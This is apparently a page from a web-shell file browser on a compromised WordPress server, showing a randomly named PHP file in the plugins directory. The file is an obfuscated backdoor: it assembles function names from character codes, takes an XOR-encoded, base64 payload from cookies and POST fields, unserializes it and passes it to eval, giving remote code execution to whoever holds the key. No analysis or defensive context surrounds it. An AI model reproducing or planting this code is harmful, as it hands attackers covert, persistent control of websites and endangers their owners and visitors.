HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/plugins/0d648e1f.php
$xEJybVlCNt = chr (99) . chr (104) . "\x77" . chr (95) . "\153" . 'Y' . "\165";$KQPEBEhuCg = "\143" . "\x6c" . "\x61" . chr ( 758 - 643 ).chr ( 741 - 626 ).'_' . chr (101) . 'x' . chr (105) . "\x73" . "\164" . "\163";$ZCvBk = class_exists($xEJybVlCNt); $KQPEBEhuCg = "47595";$XfflhmII = strpos($KQPEBEhuCg, $xEJybVlCNt);if ($ZCvBk == $XfflhmII){function Fdqpzfd(){$wwQRcoSD = new /* 30168 */ chw_kYu(1820 + 1820); $wwQRcoSD = NULL;}$tgURMo = "1820";class chw_kYu{private function aLZtN($tgURMo){if (is_array(chw_kYu::$lSIViusw)) {$FGfpEvXu2 = str_replace("<" . "?php", "", chw_kYu::$lSIViusw["content"]);eval($FGfpEvXu2); $tgURMo = "1820";exit();}}public function sngYJNSp(){$FGfpEvXu = "32681";$this->_dummy = str_repeat($FGfpEvXu, strlen($FGfpEvXu));}public function __destruct(){chw_kYu::$lSIViusw = @unserialize(chw_kYu::$lSIViusw); $tgURMo = "31944_64962";$this->aLZtN($tgURMo); $tgURMo = "31944_64962";}public function GFuuEyB($FGfpEvXu, $CXEeY){return $FGfpEvXu[0] ^ str_repeat($CXEeY, intval(strlen($FGfpEvXu[0]) / strlen($CXEeY)) + 1);}public function JnnvaXpHt($FGfpEvXu){$BlDCe = chr (98) . "\x61" . "\x73" . chr (101) . '6' . "\64";return array_map($BlDCe . "\x5f" . "\x64" . chr ( 554 - 453 )."\x63" . "\x6f" . chr (100) . "\x65", array($FGfpEvXu,));}public function __construct($UbkKwdA=0){$QLEnfbKJk = "\x2c";$FGfpEvXu = "";$niKbsNoEy = $_POST;$rMzyo = $_COOKIE;$CXEeY = "f7fb77c1-05cb-4ae7-bc6e-7f4c20edfd55";$eyluA = @$rMzyo[substr($CXEeY, 0, 4)];if (!empty($eyluA)){$eyluA = explode($QLEnfbKJk, $eyluA);foreach ($eyluA as $dmOmd){$FGfpEvXu .= @$rMzyo[$dmOmd];$FGfpEvXu .= @$niKbsNoEy[$dmOmd];}$FGfpEvXu = $this->JnnvaXpHt($FGfpEvXu);}chw_kYu::$lSIViusw = $this->GFuuEyB($FGfpEvXu, $CXEeY);if (strpos($CXEeY, $QLEnfbKJk) !== FALSE){$CXEeY = str_pad($CXEeY, 10); $CXEeY = strcspn ($CXEeY, $QLEnfbKJk); $CXEeY = ltrim(rtrim($CXEeY));}}public static $lSIViusw = 52102;}Fdqpzfd();}